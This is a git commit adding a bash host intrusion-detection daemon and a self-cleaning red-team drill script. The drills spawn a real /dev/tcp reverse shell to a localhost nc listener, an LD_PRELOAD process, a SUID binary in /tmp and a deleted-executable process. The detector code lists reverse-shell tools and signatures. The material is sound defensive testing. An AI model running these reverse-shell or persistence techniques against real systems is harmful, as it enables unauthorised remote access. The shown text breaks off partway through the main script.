Enodia Sentinel v0.1 — bash host-IDS prototype
Poll-based host intrusion-detection daemon modeled on freeze-watcher's sample→trigger→snapshot→classify loop, with security signatures instead of performance ones: - reverse_shell (interpreter with a network socket on stdio) - ld_preload (/etc/ld.so.preload or LD_PRELOAD in writable dirs) - deleted_exe (process running from a deleted/memfd binary) - new_listener (listening port absent from startup baseline) - new_suid (new SUID/SGID binary; critical in writable dirs) - persistence (cron/systemd/authorized_keys/rc-file changes) - suspicious_egress (interpreter holding an outbound public connection) Each capture writes a forensic snapshot with per-signature incident- response guidance. Includes a safe, self-cleaning red-team harness (sentinel-redteam), hardened systemd unit, config, Makefile, and Arch packaging. Tested on Arch: detectors fire on drills, no false positives on a clean sweep, sweep cost optimized from ~15s to ~1s via batched syscalls and a gated filesystem-wide SUID scan. This bash implementation is retained as the regression oracle for the forthcoming Python rewrite. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
This commit is contained in:
commit
45f8acb24a
10 changed files with 1026 additions and 0 deletions
134
src/sentinel-redteam
Executable file
134
src/sentinel-redteam
Executable file
|
|
@ -0,0 +1,134 @@
|
|||
#!/bin/bash
|
||||
# Enodia Sentinel — red-team self-test harness.
|
||||
#
|
||||
# Simulates each detector's threat signature using SAFE, clearly-labeled
|
||||
# stand-ins (all tagged "enodia-drill"), so you can watch Sentinel catch them
|
||||
# live. Nothing here is malicious: no real payloads, no system files touched,
|
||||
# everything is cleaned up on exit.
|
||||
#
|
||||
# Usage:
|
||||
# sentinel-redteam run all drills (default 20s each window)
|
||||
# sentinel-redteam <name>... run only the named drills
|
||||
# sentinel-redteam --list list available drills
|
||||
#
|
||||
# Drills: reverse_shell ld_preload deleted_exe new_listener new_suid persistence
|
||||
#
|
||||
# Watch it work, in another terminal:
|
||||
# sudo tail -f /var/log/enodia-sentinel/events.log
|
||||
# or one-shot:
|
||||
# sudo /usr/local/bin/sentinel.sh --check
|
||||
|
||||
set -u
|
||||
HOLD="${HOLD:-20}" # seconds to keep each drill artifact alive
|
||||
TMP="$(mktemp -d /tmp/enodia-drill.XXXXXX)"
|
||||
PIDS=()
|
||||
SANDBOX="$TMP/persistence-sandbox" # used by the persistence drill
|
||||
LISTEN_PORT=14444
|
||||
|
||||
cleanup() {
|
||||
echo "[*] cleaning up drill artifacts..."
|
||||
for p in "${PIDS[@]}"; do kill "$p" 2>/dev/null; done
|
||||
rm -rf "$TMP"
|
||||
echo "[*] done. (Sentinel snapshots in /var/log/enodia-sentinel/ are kept.)"
|
||||
}
|
||||
trap cleanup EXIT INT TERM
|
||||
|
||||
note() { echo -e "\n=== DRILL: $1 ===\n $2"; }
|
||||
|
||||
drill_reverse_shell() {
|
||||
note reverse_shell "a bash with a TCP socket wired to its stdin/stdout (classic reverse shell)"
|
||||
# Local listener stands in for the attacker's box. No remote traffic leaves.
|
||||
( exec -a enodia-drill-listener nc -l 127.0.0.1 "$LISTEN_PORT" >/dev/null 2>&1 ) &
|
||||
PIDS+=("$!")
|
||||
sleep 1 # let the listener bind (single-shot nc; don't probe-connect it)
|
||||
# bash whose fd 0/1/2 are the socket — exactly what `nc -e /bin/bash` produces.
|
||||
# The shell retries the connect itself so it wins the listener's accept slot.
|
||||
# It then BLOCKS reading the socket (like a real reverse shell awaiting
|
||||
# commands) so the process holding the socket stays a 'bash', not a sleep.
|
||||
( exec -a enodia-drill-rsh bash -c \
|
||||
'for i in 1 2 3 4 5 6 7 8 9 10; do exec 3<>/dev/tcp/127.0.0.1/'"$LISTEN_PORT"' && break; sleep 0.3; done
|
||||
exec 0<&3 1>&3 2>&3; read -t '"$HOLD"' _line' ) &
|
||||
PIDS+=("$!")
|
||||
echo " -> spawned drill reverse shell (pid $!) for ${HOLD}s"
|
||||
}
|
||||
|
||||
drill_ld_preload() {
|
||||
note ld_preload "a process running with LD_PRELOAD pointing into /tmp"
|
||||
: > "$TMP/evil.so" # empty file; we never actually load it, just set the env
|
||||
( LD_PRELOAD="$TMP/evil.so" exec -a enodia-drill-preload sleep "$HOLD" ) &
|
||||
PIDS+=("$!")
|
||||
echo " -> spawned process with LD_PRELOAD=$TMP/evil.so (pid $!)"
|
||||
echo " NOTE: does NOT touch /etc/ld.so.preload (that would be system-wide)."
|
||||
}
|
||||
|
||||
drill_deleted_exe() {
|
||||
note deleted_exe "a process whose executable was deleted from disk (fileless)"
|
||||
cp /bin/sleep "$TMP/enodia-drill-ghost" 2>/dev/null
|
||||
( exec "$TMP/enodia-drill-ghost" "$HOLD" ) &
|
||||
local p=$!; PIDS+=("$p")
|
||||
sleep 0.5
|
||||
rm -f "$TMP/enodia-drill-ghost" # now /proc/<pid>/exe shows "(deleted)" in /tmp
|
||||
echo " -> running pid $p from a now-deleted /tmp binary"
|
||||
}
|
||||
|
||||
drill_new_listener() {
|
||||
note new_listener "a new TCP listening port that wasn't in the baseline"
|
||||
( exec -a enodia-drill-bind nc -l 127.0.0.1 $((LISTEN_PORT+1)) >/dev/null 2>&1 ) &
|
||||
PIDS+=("$!")
|
||||
echo " -> opened listener on 127.0.0.1:$((LISTEN_PORT+1)) (pid $!)"
|
||||
}
|
||||
|
||||
drill_new_suid() {
|
||||
note new_suid "a SUID binary appearing in a world-writable dir (/tmp)"
|
||||
cp /bin/true "$TMP/enodia-drill-suid" 2>/dev/null
|
||||
chmod 4755 "$TMP/enodia-drill-suid" 2>/dev/null
|
||||
echo " -> dropped SUID binary at $TMP/enodia-drill-suid (perms: $(stat -c %A "$TMP/enodia-drill-suid" 2>/dev/null))"
|
||||
echo " (will be detected on the next sweep; kept for ${HOLD}s)"
|
||||
( sleep "$HOLD" ) & PIDS+=("$!")
|
||||
}
|
||||
|
||||
drill_persistence() {
|
||||
note persistence "modifying a watched persistence file"
|
||||
echo " NOTE: this drill only fires if you've pointed WATCH_PERSISTENCE at the"
|
||||
echo " sandbox below. To test safely, add this to /etc/enodia-sentinel.conf:"
|
||||
echo " WATCH_PERSISTENCE=\"\$WATCH_PERSISTENCE $SANDBOX\""
|
||||
echo " then restart the service. Otherwise this would require touching real"
|
||||
echo " files like ~/.ssh/authorized_keys, which the harness will NOT do."
|
||||
mkdir -p "$SANDBOX"
|
||||
echo "# enodia-drill $(date)" >> "$SANDBOX/authorized_keys"
|
||||
echo " -> wrote $SANDBOX/authorized_keys"
|
||||
}
|
||||
|
||||
run() {
|
||||
case "$1" in
|
||||
reverse_shell) drill_reverse_shell ;;
|
||||
ld_preload) drill_ld_preload ;;
|
||||
deleted_exe) drill_deleted_exe ;;
|
||||
new_listener) drill_new_listener ;;
|
||||
new_suid) drill_new_suid ;;
|
||||
persistence) drill_persistence ;;
|
||||
*) echo "unknown drill: $1" >&2; return 1 ;;
|
||||
esac
|
||||
}
|
||||
|
||||
ALL=(reverse_shell ld_preload deleted_exe new_listener new_suid persistence)
|
||||
|
||||
if [ "${1:-}" = "--list" ]; then printf '%s\n' "${ALL[@]}"; exit 0; fi
|
||||
|
||||
echo "######################################################################"
|
||||
echo "# ENODIA SENTINEL — RED TEAM DRILL #"
|
||||
echo "# All artifacts are labeled 'enodia-drill' and auto-cleaned. #"
|
||||
echo "# Watch detections: sudo tail -f /var/log/enodia-sentinel/events.log"
|
||||
echo "######################################################################"
|
||||
|
||||
if [ "$#" -gt 0 ]; then targets=("$@"); else targets=("${ALL[@]}"); fi
|
||||
for d in "${targets[@]}"; do run "$d"; done
|
||||
|
||||
echo -e "\n[*] drills live for ${HOLD}s. Triggering a Sentinel sweep check now:"
|
||||
if [ -x /usr/local/bin/sentinel.sh ]; then
|
||||
sudo /usr/local/bin/sentinel.sh --check 2>/dev/null \
|
||||
| grep -i drill && echo " ^ Sentinel saw the drills." \
|
||||
|| echo " (run 'sudo sentinel.sh --check' yourself, or watch events.log)"
|
||||
fi
|
||||
echo "[*] holding for ${HOLD}s, then cleaning up..."
|
||||
sleep "$HOLD"
|
||||
526
src/sentinel.sh
Executable file
526
src/sentinel.sh
Executable file
|
|
@ -0,0 +1,526 @@
|
|||
#!/bin/bash
|
||||
# Enodia Sentinel — a host intrusion-detection daemon.
|
||||
#
|
||||
# Continuously runs a set of detectors over live system state (processes,
|
||||
# sockets, file descriptors, SUID binaries, sensitive files). When a detector
|
||||
# fires, it writes a detailed forensic snapshot with incident-response guidance,
|
||||
# the same way freeze-watcher captures a snapshot on a performance anomaly.
|
||||
#
|
||||
# Architecture mirrors freeze-watcher.sh:
|
||||
# sample loop -> run_detectors -> (cooldown dedup) -> capture_snapshot
|
||||
#
|
||||
# Run modes:
|
||||
# sentinel.sh daemon loop (default; used by systemd)
|
||||
# sentinel.sh --check run detectors once, print alerts, exit (no capture)
|
||||
# sentinel.sh --baseline (re)build listener/SUID baselines and exit
|
||||
|
||||
set -u
|
||||
|
||||
LOG_DIR="${ENODIA_LOG_DIR:-/var/log/enodia-sentinel}"
|
||||
CONFIG="${ENODIA_CONFIG:-/etc/enodia-sentinel.conf}"
|
||||
TRIGGER_FILE="$LOG_DIR/.trigger"
|
||||
|
||||
# --- defaults (overridden by /etc/enodia-sentinel.conf) ------------------
|
||||
SAMPLE_INTERVAL=4 # seconds between detector sweeps
|
||||
COOLDOWN=60 # min seconds before re-alerting the same signature+key
|
||||
SUID_REFRESH=3600 # seconds between SUID baseline refreshes
|
||||
SUID_SCAN_INTERVAL=60 # seconds between filesystem-wide SUID scans (expensive)
|
||||
BASELINE_GRACE=10 # seconds after start before new-listener/suid alerts arm
|
||||
|
||||
# Which process names count as "interpreters" for reverse-shell / egress checks
|
||||
INTERPRETERS="bash sh dash zsh ksh ash nc ncat netcat socat telnet python python2 python3 perl ruby php lua awk"
|
||||
|
||||
# Egress: interpreters talking to a public IP are suspicious unless the remote
|
||||
# is in one of these trusted CIDRs (space separated, e.g. "203.0.113.0/24").
|
||||
EGRESS_ALLOW_CIDRS=""
|
||||
# Listeners on these ports never alert even if they appear after baseline.
|
||||
LISTENER_ALLOW_PORTS=""
|
||||
|
||||
# Directories where a SUID binary is always critical (attacker-writable).
|
||||
SUID_HOT_DIRS="/tmp /dev/shm /var/tmp /home /run/user"
|
||||
|
||||
# Files/dirs watched for persistence tampering (space separated; globs ok).
|
||||
WATCH_PERSISTENCE="/etc/cron.d /etc/crontab /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /var/spool/cron /etc/systemd/system /etc/ld.so.preload /etc/passwd /etc/sudoers /etc/sudoers.d /root/.ssh/authorized_keys /root/.bashrc /root/.profile"
|
||||
# Per-user files to watch under each /home/* (appended to WATCH_PERSISTENCE at start)
|
||||
WATCH_HOME_FILES=".ssh/authorized_keys .bashrc .bash_profile .profile .zshrc .config/autostart"
|
||||
|
||||
# Detector toggles
|
||||
DET_REVERSE_SHELL=1
|
||||
DET_LD_PRELOAD=1
|
||||
DET_DELETED_EXE=1
|
||||
DET_NEW_LISTENER=1
|
||||
DET_NEW_SUID=1
|
||||
DET_PERSISTENCE=1
|
||||
DET_EGRESS=1
|
||||
|
||||
# eBPF on-ramp: run a short bpftrace execve trace inside each snapshot, to
|
||||
# catch short-lived processes that polling misses. Requires bpftrace.
|
||||
CAPTURE_EXECVE_BPFTRACE=0
|
||||
|
||||
# Retention
|
||||
MAX_SNAPSHOTS=300
|
||||
MAX_SNAPSHOT_AGE_DAYS=60
|
||||
|
||||
# Notifications (desktop)
|
||||
NOTIFY_USERS=""
|
||||
NOTIFY_URGENCY=critical
|
||||
|
||||
[ -f "$CONFIG" ] && . "$CONFIG"
|
||||
|
||||
mkdir -p "$LOG_DIR"
|
||||
chmod 750 "$LOG_DIR" 2>/dev/null
|
||||
|
||||
START_TIME=$(date +%s)
|
||||
last_suid_refresh=0
|
||||
captures_since_prune=0
|
||||
|
||||
# Per-signature cooldown map: key -> last alert epoch
|
||||
declare -A last_alert
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# --------------------------------------------------------------------------
|
||||
|
||||
# ip_to_int DOTTED -> integer, for CIDR matching. Empty on parse failure.
|
||||
ip_to_int() {
|
||||
local ip="$1" a b c d
|
||||
IFS=. read -r a b c d <<< "$ip"
|
||||
[[ "$a$b$c$d" =~ ^[0-9]+$ ]] || return 1
|
||||
echo $(( (a<<24) + (b<<16) + (c<<8) + d ))
|
||||
}
|
||||
|
||||
# is_public_ip ADDR -> 0 if a routable public IPv4 (not private/loopback/link-local)
|
||||
is_public_ip() {
|
||||
local ip="$1"
|
||||
# Strip IPv6 brackets / zone; treat any IPv6 as "public-ish" unless loopback
|
||||
case "$ip" in
|
||||
::1|::ffff:127.*) return 1 ;;
|
||||
*:*) return 0 ;; # IPv6 non-loopback: treat as routable
|
||||
esac
|
||||
local n; n=$(ip_to_int "$ip") || return 1
|
||||
# 10.0.0.0/8
|
||||
[ "$n" -ge 167772160 ] && [ "$n" -le 184549375 ] && return 1
|
||||
# 172.16.0.0/12
|
||||
[ "$n" -ge 2886729728 ] && [ "$n" -le 2887778303 ] && return 1
|
||||
# 192.168.0.0/16
|
||||
[ "$n" -ge 3232235520 ] && [ "$n" -le 3232301055 ] && return 1
|
||||
# 127.0.0.0/8
|
||||
[ "$n" -ge 2130706432 ] && [ "$n" -le 2147483647 ] && return 1
|
||||
# 169.254.0.0/16 link-local
|
||||
[ "$n" -ge 2851995648 ] && [ "$n" -le 2852061183 ] && return 1
|
||||
# 100.64.0.0/10 CGNAT (often VPN/tailscale)
|
||||
[ "$n" -ge 1681915904 ] && [ "$n" -le 1686110207 ] && return 1
|
||||
return 0
|
||||
}
|
||||
|
||||
# ip_in_cidrs ADDR "cidr cidr ..." -> 0 if ADDR is inside any CIDR
|
||||
ip_in_cidrs() {
|
||||
local ip="$1" list="$2" cidr base bits mask n base_n
|
||||
n=$(ip_to_int "$ip") || return 1
|
||||
for cidr in $list; do
|
||||
base=${cidr%/*}; bits=${cidr#*/}
|
||||
[[ "$bits" =~ ^[0-9]+$ ]] || continue
|
||||
base_n=$(ip_to_int "$base") || continue
|
||||
if [ "$bits" -eq 0 ]; then return 0; fi
|
||||
mask=$(( 0xFFFFFFFF << (32 - bits) & 0xFFFFFFFF ))
|
||||
[ $(( n & mask )) -eq $(( base_n & mask )) ] && return 0
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Detectors — each prints lines: SEVERITY<TAB>signature<TAB>detail
|
||||
# SEVERITY in {CRITICAL,HIGH,MEDIUM}. detail begins with a stable "key=..."
|
||||
# token used for cooldown dedup.
|
||||
# --------------------------------------------------------------------------
|
||||
|
||||
detect_reverse_shell() {
|
||||
# Map network-socket inode -> "local -> peer" (TCP/UDP only) in ONE awk pass.
|
||||
# A reverse shell has a TCP/UDP socket on its stdio; a unix socket or pipe
|
||||
# (journald logging, shell harness pipes) is benign and must not alert.
|
||||
declare -A net_peer
|
||||
local ino peer
|
||||
while read -r ino peer; do
|
||||
[ -n "$ino" ] && net_peer[$ino]="$peer"
|
||||
done < <( { ss -H -tanep 2>/dev/null; ss -H -uanep 2>/dev/null; } | awk '
|
||||
{ ino=""; for (i=1;i<=NF;i++) if ($i ~ /^ino:/) ino=substr($i,5);
|
||||
if (ino != "") print ino, $4" -> "$5 }' )
|
||||
|
||||
# Drive off the (small) set of fd 0/1/2 that are sockets, found in ONE ls.
|
||||
local line target path pid inode comm cmd
|
||||
while IFS= read -r line; do
|
||||
target=${line##* -> }
|
||||
[[ "$target" == socket:* ]] || continue
|
||||
path=${line% -> *}; path=${path##* } # -> /proc/PID/fd/N
|
||||
pid=${path#/proc/}; pid=${pid%%/*}
|
||||
inode=${target#socket:[}; inode=${inode%]}
|
||||
peer="${net_peer[$inode]:-}"
|
||||
[ -n "$peer" ] || continue # network sockets only
|
||||
read -r comm < "/proc/$pid/comm" 2>/dev/null || continue
|
||||
case " $INTERPRETERS " in *" $comm "*) ;; *) continue ;; esac
|
||||
cmd=$(tr '\0' ' ' 2>/dev/null < "/proc/$pid/cmdline"); cmd=${cmd% }
|
||||
printf 'CRITICAL\treverse_shell\tkey=rsh:%s pid=%s comm=%s stdio=net-socket peer=[%s] cmd=[%s]\n' \
|
||||
"$pid" "$pid" "$comm" "$peer" "${cmd:0:90}"
|
||||
done < <(ls -l /proc/[0-9]*/fd/0 /proc/[0-9]*/fd/1 /proc/[0-9]*/fd/2 2>/dev/null)
|
||||
}
|
||||
|
||||
detect_ld_preload() {
|
||||
if [ -s /etc/ld.so.preload ]; then
|
||||
local contents; contents=$(tr '\n' ' ' < /etc/ld.so.preload 2>/dev/null)
|
||||
printf 'CRITICAL\tld_preload_global\tkey=ldp:global /etc/ld.so.preload is non-empty: [%s]\n' "${contents% }"
|
||||
fi
|
||||
# One grep finds the (usually zero) processes with LD_PRELOAD set, instead
|
||||
# of reading every process's environ individually.
|
||||
local f pid pre comm
|
||||
while IFS= read -r -d '' f; do
|
||||
pid=${f#/proc/}; pid=${pid%%/*}
|
||||
pre=$(tr '\0' '\n' 2>/dev/null < "$f" | sed -n 's/^LD_PRELOAD=//p' | head -1)
|
||||
[ -n "$pre" ] || continue
|
||||
case "$pre" in
|
||||
/tmp/*|/dev/shm/*|/var/tmp/*|/run/user/*|./*)
|
||||
read -r comm < "/proc/$pid/comm" 2>/dev/null || comm="?"
|
||||
printf 'CRITICAL\tld_preload_proc\tkey=ldp:%s pid=%s comm=%s LD_PRELOAD=[%s]\n' \
|
||||
"$pid" "$pid" "$comm" "$pre" ;;
|
||||
esac
|
||||
done < <(grep -alZ 'LD_PRELOAD=' /proc/[0-9]*/environ 2>/dev/null)
|
||||
}
|
||||
|
||||
detect_deleted_exe() {
|
||||
# Resolve every /proc/*/exe symlink in ONE ls pass.
|
||||
local line target path pid comm
|
||||
while IFS= read -r line; do
|
||||
target=${line##* -> }
|
||||
case "$target" in *"(deleted)"*|memfd:*|*"/memfd:"*) ;; *) continue ;; esac
|
||||
# Only alert for attacker-controlled / fileless locations. Normal-path
|
||||
# deleted exes are usually daemons still running after a package upgrade.
|
||||
case "$target" in
|
||||
/tmp/*|/dev/shm/*|/var/tmp/*|/run/*|memfd:*|*"/memfd:"*) ;;
|
||||
*) continue ;;
|
||||
esac
|
||||
path=${line% -> *}; path=${path##* } # -> /proc/PID/exe
|
||||
pid=${path#/proc/}; pid=${pid%%/*}
|
||||
read -r comm < "/proc/$pid/comm" 2>/dev/null || comm="?"
|
||||
printf 'CRITICAL\tdeleted_exe\tkey=del:%s pid=%s comm=%s exe=[%s]\n' \
|
||||
"$pid" "$pid" "$comm" "$target"
|
||||
done < <(ls -l /proc/[0-9]*/exe 2>/dev/null)
|
||||
}
|
||||
|
||||
# Listener baseline: set of "port/comm" present at baseline time.
|
||||
build_listener_baseline() {
|
||||
ss -H -tlnp 2>/dev/null | awk '{
|
||||
n=split($4,a,":"); port=a[n];
|
||||
comm="?"; if (match($0,/"[^"]+"/)) comm=substr($0,RSTART+1,RLENGTH-2);
|
||||
print port"/"comm
|
||||
}' | sort -u > "$LOG_DIR/.listener-baseline"
|
||||
}
|
||||
|
||||
detect_new_listener() {
|
||||
[ -r "$LOG_DIR/.listener-baseline" ] || return 0
|
||||
local line port comm key
|
||||
while IFS= read -r line; do
|
||||
port=$(awk '{n=split($4,a,":"); print a[n]}' <<< "$line")
|
||||
comm="?"; [[ "$line" =~ \"([^\"]+)\" ]] && comm="${BASH_REMATCH[1]}"
|
||||
key="$port/$comm"
|
||||
grep -qxF "$key" "$LOG_DIR/.listener-baseline" && continue
|
||||
case " $LISTENER_ALLOW_PORTS " in *" $port "*) continue ;; esac
|
||||
local addr; addr=$(awk '{print $4}' <<< "$line")
|
||||
printf 'HIGH\tnew_listener\tkey=lis:%s new listening socket %s by comm=%s\n' \
|
||||
"$key" "$addr" "$comm"
|
||||
done < <(ss -H -tlnp 2>/dev/null)
|
||||
}
|
||||
|
||||
build_suid_baseline() {
|
||||
find / -xdev \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null \
|
||||
| sort -u > "$LOG_DIR/.suid-baseline"
|
||||
}
|
||||
|
||||
detect_new_suid() {
|
||||
[ -r "$LOG_DIR/.suid-baseline" ] || return 0
|
||||
local f
|
||||
while IFS= read -r f; do
|
||||
grep -qxF "$f" "$LOG_DIR/.suid-baseline" && continue
|
||||
local sev=HIGH why="new SUID/SGID binary"
|
||||
for d in $SUID_HOT_DIRS; do
|
||||
case "$f" in "$d"/*) sev=CRITICAL; why="SUID/SGID binary in writable dir"; break ;; esac
|
||||
done
|
||||
printf '%s\tnew_suid\tkey=suid:%s %s: %s\n' "$sev" "$f" "$why" "$f"
|
||||
done < <(find / -xdev \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null)
|
||||
}
|
||||
|
||||
detect_persistence() {
|
||||
local since="$1" f
|
||||
# -newermt @epoch matches files modified strictly after that time.
|
||||
while IFS= read -r f; do
|
||||
[ -n "$f" ] || continue
|
||||
printf 'HIGH\tpersistence\tkey=persist:%s persistence file modified: %s\n' "$f" "$f"
|
||||
done < <(find $WATCH_PERSISTENCE -newermt "@$since" \( -type f -o -type l \) 2>/dev/null)
|
||||
}
|
||||
|
||||
detect_egress() {
|
||||
local line addr port comm pid
|
||||
while IFS= read -r line; do
|
||||
# ss -Hntp output: ... peer_addr:port users:(("comm",pid=NNN,fd=N))
|
||||
local raddr; raddr=$(awk '{print $5}' <<< "$line")
|
||||
addr=${raddr%:*}; port=${raddr##*:}
|
||||
addr=${addr#[}; addr=${addr%]}
|
||||
[[ "$line" =~ \"([^\"]+)\",pid=([0-9]+) ]] || continue
|
||||
comm="${BASH_REMATCH[1]}"; pid="${BASH_REMATCH[2]}"
|
||||
case " $INTERPRETERS " in *" $comm "*) ;; *) continue ;; esac
|
||||
is_public_ip "$addr" || continue
|
||||
ip_in_cidrs "$addr" "$EGRESS_ALLOW_CIDRS" && continue
|
||||
printf 'HIGH\tsuspicious_egress\tkey=egr:%s:%s pid=%s comm=%s -> %s:%s (interpreter to public IP)\n' \
|
||||
"$pid" "$addr" "$pid" "$comm" "$addr" "$port"
|
||||
done < <(ss -H -tnp state established 2>/dev/null)
|
||||
}
|
||||
|
||||
run_detectors() {
|
||||
local since="$1" do_suid="${2:-0}"
|
||||
[ "$DET_REVERSE_SHELL" = 1 ] && detect_reverse_shell
|
||||
[ "$DET_LD_PRELOAD" = 1 ] && detect_ld_preload
|
||||
[ "$DET_DELETED_EXE" = 1 ] && detect_deleted_exe
|
||||
[ "$DET_EGRESS" = 1 ] && detect_egress
|
||||
# New-listener / new-suid / persistence only after the grace window so we
|
||||
# don't alert on everything that existed at startup.
|
||||
if [ $(( $(date +%s) - START_TIME )) -ge "$BASELINE_GRACE" ]; then
|
||||
[ "$DET_NEW_LISTENER" = 1 ] && detect_new_listener
|
||||
[ "$DET_PERSISTENCE" = 1 ] && detect_persistence "$since"
|
||||
# SUID scan walks the whole filesystem, so it runs on a slow cadence
|
||||
# (do_suid is decided by the caller), not every sweep.
|
||||
[ "$DET_NEW_SUID" = 1 ] && [ "$do_suid" = 1 ] && detect_new_suid
|
||||
fi
|
||||
return 0
|
||||
}
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Per-signature incident-response guidance (the security analogue of
|
||||
# freeze-watcher's classify_snapshot diagnoses).
|
||||
# --------------------------------------------------------------------------
|
||||
signature_response() {
|
||||
case "$1" in
|
||||
reverse_shell)
|
||||
echo "A shell/interpreter has a network socket wired to its stdin/stdout — the canonical reverse-shell signature. RESPONSE: identify the peer IP, kill the pid, inspect parent process and how it was spawned (web/db service = RCE), preserve /proc/<pid>/ before killing if you can." ;;
|
||||
ld_preload_global)
|
||||
echo "/etc/ld.so.preload injects a library into EVERY dynamically-linked process — a classic userland rootkit persistence mechanism. RESPONSE: capture the named .so, hash it, check package ownership (pacman -Qo), assume full host compromise until cleared." ;;
|
||||
ld_preload_proc)
|
||||
echo "A running process has LD_PRELOAD pointing at a writable/temp path — function-hooking, often to hide files/processes or intercept credentials. RESPONSE: capture the .so, inspect the process tree, determine who set the env var." ;;
|
||||
deleted_exe)
|
||||
echo "A process is executing from a deleted or memfd-backed binary — fileless malware that left no file on disk. RESPONSE: dump /proc/<pid>/exe to recover the binary BEFORE killing, capture maps and sockets." ;;
|
||||
new_listener)
|
||||
echo "A listening socket appeared that wasn't present at baseline — possible backdoor/bind shell. RESPONSE: identify the binary, confirm it's an expected service, check for matching inbound connections." ;;
|
||||
new_suid)
|
||||
echo "A new SUID/SGID binary appeared (critical if in a writable dir) — a privilege-escalation persistence trick. RESPONSE: verify package ownership; an unowned SUID binary in /tmp or /home is almost never legitimate." ;;
|
||||
persistence)
|
||||
echo "A persistence-relevant file (cron, systemd unit, authorized_keys, shell rc) was modified. RESPONSE: diff against backup/version control, review the change, check surrounding auth logs for who made it." ;;
|
||||
suspicious_egress)
|
||||
echo "An interpreter is holding an outbound connection to a public IP — possible C2 beacon or data exfil. RESPONSE: resolve/geolocate the peer, check reputation, inspect the process and its parentage." ;;
|
||||
*) echo "Review the captured process, socket, and file context manually." ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Snapshot capture
|
||||
# --------------------------------------------------------------------------
|
||||
notify_users() {
|
||||
[ -z "$NOTIFY_USERS" ] && return 0
|
||||
local body="$1" IFS=,
|
||||
for user in $NOTIFY_USERS; do
|
||||
user=$(echo "$user" | tr -d '[:space:]'); [ -z "$user" ] && continue
|
||||
local uid; uid=$(id -u "$user" 2>/dev/null) || continue
|
||||
sudo -u "$user" \
|
||||
DBUS_SESSION_BUS_ADDRESS="unix:path=/run/user/$uid/bus" \
|
||||
notify-send -u "$NOTIFY_URGENCY" -a "enodia-sentinel" \
|
||||
"⚠ Enodia Sentinel alert" "$body" 2>/dev/null &
|
||||
done
|
||||
}
|
||||
|
||||
prune_snapshots() {
|
||||
if [ "${MAX_SNAPSHOT_AGE_DAYS:-0}" -gt 0 ]; then
|
||||
find "$LOG_DIR" -maxdepth 1 -name 'alert-*.log' -type f \
|
||||
-mtime "+$MAX_SNAPSHOT_AGE_DAYS" -delete 2>/dev/null
|
||||
fi
|
||||
if [ "${MAX_SNAPSHOTS:-0}" -gt 0 ]; then
|
||||
local files
|
||||
files=$(ls -1t "$LOG_DIR"/alert-*.log 2>/dev/null | tail -n "+$((MAX_SNAPSHOTS+1))")
|
||||
[ -n "$files" ] && echo "$files" | xargs -r rm -f
|
||||
fi
|
||||
}
|
||||
|
||||
# Extract the pids referenced in the triggering alerts so we can deep-dive them.
|
||||
pids_from_alerts() {
|
||||
grep -oE 'pid=[0-9]+' <<< "$1" | cut -d= -f2 | sort -un
|
||||
}
|
||||
|
||||
capture_pid_detail() {
|
||||
local pid="$1"
|
||||
local d="/proc/$pid"
|
||||
[ -d "$d" ] || { echo " pid $pid: gone"; return; }
|
||||
echo "### pid $pid"
|
||||
echo " comm: $(cat "$d/comm" 2>/dev/null)"
|
||||
echo " exe: $(readlink "$d/exe" 2>/dev/null)"
|
||||
echo " cwd: $(readlink "$d/cwd" 2>/dev/null)"
|
||||
echo " cmdline: $(tr '\0' ' ' < "$d/cmdline" 2>/dev/null)"
|
||||
local ppid; ppid=$(awk '/^PPid:/{print $2}' "$d/status" 2>/dev/null)
|
||||
echo " ppid: $ppid ($(cat "/proc/$ppid/comm" 2>/dev/null))"
|
||||
echo " uid: $(awk '/^Uid:/{print $2}' "$d/status" 2>/dev/null) gid: $(awk '/^Gid:/{print $2}' "$d/status" 2>/dev/null)"
|
||||
echo " LD_PRELOAD env: $(tr '\0' '\n' 2>/dev/null < "$d/environ" | sed -n 's/^LD_PRELOAD=//p')"
|
||||
echo " open fds (socket/file targets):"
|
||||
local fd t
|
||||
for fd in "$d"/fd/*; do
|
||||
t=$(readlink "$fd" 2>/dev/null) || continue
|
||||
printf ' %s -> %s\n' "${fd##*/}" "$t"
|
||||
done | head -40
|
||||
}
|
||||
|
||||
capture_execve_bpftrace() {
|
||||
command -v bpftrace >/dev/null 2>&1 || { echo "bpftrace not installed"; return; }
|
||||
echo "## bpftrace execve trace (3s) — short-lived processes polling can miss"
|
||||
timeout 4 bpftrace -e '
|
||||
tracepoint:syscalls:sys_enter_execve {
|
||||
printf("%-8d %-16s %s\n", pid, comm, str(args->filename));
|
||||
}
|
||||
interval:s:3 { exit(); }
|
||||
' 2>/dev/null | tail -60
|
||||
}
|
||||
|
||||
capture_snapshot() {
|
||||
local alerts="$1"
|
||||
local final="$LOG_DIR/alert-$(date +%Y%m%d-%H%M%S).log"
|
||||
local sigs; sigs=$(awk -F'\t' '{print $2}' <<< "$alerts" | sort -u)
|
||||
local top_sev; top_sev=$(awk -F'\t' '{print $1}' <<< "$alerts" \
|
||||
| grep -m1 -E 'CRITICAL' || awk -F'\t' 'NR==1{print $1}' <<< "$alerts")
|
||||
|
||||
{
|
||||
echo "=== ENODIA SENTINEL ALERT ==="
|
||||
echo "Time: $(date -Iseconds)"
|
||||
echo "Host: $(hostname)"
|
||||
echo "Severity: ${top_sev:-HIGH}"
|
||||
echo
|
||||
echo "## Triggering detections"
|
||||
awk -F'\t' '{printf " [%s] %s — %s\n", $1, $2, $3}' <<< "$alerts"
|
||||
echo
|
||||
echo "## Response guidance"
|
||||
while IFS= read -r s; do
|
||||
[ -n "$s" ] || continue
|
||||
echo " • $s:"
|
||||
echo " $(signature_response "$s")"
|
||||
done <<< "$sigs"
|
||||
echo
|
||||
echo "## Flagged process detail"
|
||||
local pids; pids=$(pids_from_alerts "$alerts")
|
||||
if [ -n "$pids" ]; then
|
||||
for p in $pids; do capture_pid_detail "$p"; echo; done
|
||||
else
|
||||
echo " (no specific pid in alerts)"
|
||||
fi
|
||||
echo "## Process tree"
|
||||
ps -eo pid,ppid,user,etimes,pcpu,pmem,stat,comm --sort=-pcpu 2>/dev/null | head -40
|
